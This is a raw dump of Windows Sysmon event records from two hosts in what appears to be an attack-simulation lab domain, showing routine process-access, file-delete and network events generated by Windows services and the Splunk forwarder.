15:05:36.122{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017686Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:36.122{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017685Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:36.122{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-7440-613B-2E05-00000000F101}2488C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017684Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:36.122{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7440-613B-2E05-00000000F101}2488C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017683Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:36.123{625C326B-7440-613B-2E05-00000000F101}2488C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000017700Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:37.966{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=16AD6E80DB99DEECFF1B3F0471FF93C4,SHA256=906CF131FA39E58EA12EB58131299BE4C1ECCDA92F370F87A06E01EC1046C111,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055083Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:37.874{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3EE1F542721FCA073CBFDBF016A38EB5,SHA256=78A383BA6FF7F06B4DC8F193E05170B6F46F6D11E45E1450F667B304790EA8D0,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055084Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:38.892{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=46B72C75B4A246CD00246BE1AAB0DD56,SHA256=7EC0687F1ACC0F0D075AD0BF9EF0ADCF936825A9E636CCE6370CB925ED919249,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055085Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:39.913{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D6C9890AEECCC80924A3A7AEA5594119,SHA256=7C358EF0ED9317F7E743C6514CF0176288CB0DE0B6C88D83CF3C9163B4DCE6EB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017701Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:39.028{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4ECA0D8D049243C15113914543E9C92D,SHA256=90BE0B47FAF836D031CEF087A2C84D1607A44FF3A00419BCF14279D6D048E09B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055088Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:40.928{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C25462AA47E397DCB94CEC9F3552963F,SHA256=F41A68453E0524D5E897B283E2FDF9C3B484B38EA436B416DF08C6EFC6F16664,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017702Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:40.060{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1B8F01849F4C4642D560CDB44FF17871,SHA256=68DB03858B91465FCC0B29623BB900F2C86F5EB54EFE9D24DEC5E1B65D9D1178,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000055087Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:40.390{7BD73061-65B2-613B-0D00-00000000F001}8925164C:\Windows\system32\svchost.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055086Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:40.390{7BD73061-65B2-613B-0D00-00000000F001}8922196C:\Windows\system32\svchost.exe{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000055089Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:41.960{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DE16CC2A738E7FC07C83D8F68E5B9DC9,SHA256=8C0C730B727656CC56CF4237F119E2EAA72E2C4F715F2FEEADC7DBD389DAF903,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017704Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:40.365{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50372-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017703Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:41.075{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=11DA6813AED560216E8B701005F1344F,SHA256=691D4E9580CED2544221D49A65E90F606999D8652418C751056DED0FAC53451B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017705Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:42.091{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2745954ABF15282AC1A5BC4D50C02933,SHA256=0C2DB3D1BD0C22012B4E6124D65F48BF0BD56F071828BD361F5BA65623380F9A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055091Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:43.144{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F67F0D08AC99D11ED265C7ED2B362CD7,SHA256=88BEDAD481F8FD6526F16BC2DCCDFD09C91C74203A62F8EFA6947938E1F249DC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017706Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:43.138{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A3201D4DCC88816639EE06CA26F94F77,SHA256=A408C2E431F8FA4693B00E7DF7A8680AB8CA9EFD7C10708D3E0822AC0A55E249,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000055090Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:40.336{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63137-false10.0.1.12-8000- 23542300x800000000000000055092Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:44.227{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=94B17B6F16B027B95E2D8D3C1490A837,SHA256=52F5EDE833A8316CE9A4F7245F5841FE71B0F41ED541CF982CC17A3D26D788DD,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017707Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:44.153{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0938C6939A8DC163F9AF06FADC2171E8,SHA256=0E0641563C2ED04297BD1F09434B906D7544001FFF1EC4636EE37E7EF7599CF6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055093Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:45.342{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F85BC793ACF1F61CDCFCAF721859A00C,SHA256=F5984CCD1F132CE4252B93E1528E07BB6D34A327A921DE05A1742762AF613334,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017708Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:45.200{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2B6532A07373DE0C6469EE9C01E9AAD0,SHA256=3B76A67D9027ADBF52B6A03AAFF272E1C8BE92529EEE4E9D7C5DC58343FFCC40,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055094Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:46.358{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E0C6598D6160FE88F7082E057CF18839,SHA256=FA9D1D405D3C0E7A7E68920566FE133777CF80D9802C8513465EC1CFAA1E33EA,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017710Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:45.459{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50373-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017709Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:46.216{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9F053CC8087AF2EA74529AA6A83A4C21,SHA256=D56EA9A7C42447E7DB9EF1C048EBBB0E3E987952515BB03C711D6791DAE9F468,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055098Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:47.426{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4F0E807D1C9C22B0090BC2C917CB75D5,SHA256=6C0E75C397CF3D17FCF32E4D56DF8D111D0EAFC5C4B09685D6708C6C04AB2249,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017711Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:47.216{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B15C29FB6C92967A194379567A18A5C9,SHA256=37697F40990491DAC7014323CD28B0B1A11E8E50E74344748A973F884AB0AFB7,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000055097Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:47.042{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1500-00000000F001}1248C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055096Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:47.042{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1500-00000000F001}1248C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055095Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:47.042{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1500-00000000F001}1248C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000055100Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:48.441{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F81C22C91C2CFA9C06674DF06B1F89EB,SHA256=18D9F81A7506C949B740DF2AE0FE14E921C05D71A7CEA284B39E1654A51D2AE1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017712Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:48.232{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CA7F5697F0E363485FCFB0FC2EB3E9E3,SHA256=84F8FEE9D4E6C4ED0F75689D0B0944E4CC9E51FA39E8B549A11304DF2106BA00,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000055099Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:45.503{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63138-false10.0.1.12-8000- 23542300x800000000000000055101Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:49.474{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FE2E4D406E62905380C1E2809A19A5E8,SHA256=E8B44B4B88FAF90C6BE83B5D24E5FAFA5D4B6D1DAE1426D038EDFC6045F61192,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017713Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:49.247{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6BDF8678E6D6D332A074F38ACCD2CEB7,SHA256=AC893DC91CECE033E81070DA31EAB23EA23D435994FA50A1B445F8666F662C52,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055102Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:50.490{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=73E369AA2E478F7FAC6FBC207A5C0FD8,SHA256=D29E136054D867D71DA2887C58E7F5A489B9BDFD17E862436ABB55CEDFAC17FE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017714Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:50.278{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=943BFBCD23E84A27F198C33F40241FE6,SHA256=643F0A98D2A4A6013AAECD5D1C607A047D6B4278A2B0F83CFAA10BC75BD3AC3A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055103Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:51.540{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F6F51369D5F8C6851B33AF5D81E90483,SHA256=8788E9EEEB2AF2943FAF530453501A9C648387FFD3651F581F33F59E357FF8BE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017715Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:51.290{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C5A6848F7D35D8AFF0BE447678DFBBCB,SHA256=08AB844C59FEAE0D919381BC6EFD83DC701F9947A88862A2EA8746F5FB818D63,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055104Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:52.570{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B938108F3DFFADFA50A532AE69DB87E1,SHA256=637C6A1B955FA50A6FE225B77A25778A3B09C1C35BB912278422D59BB9D246F7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017717Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:51.412{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50374-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 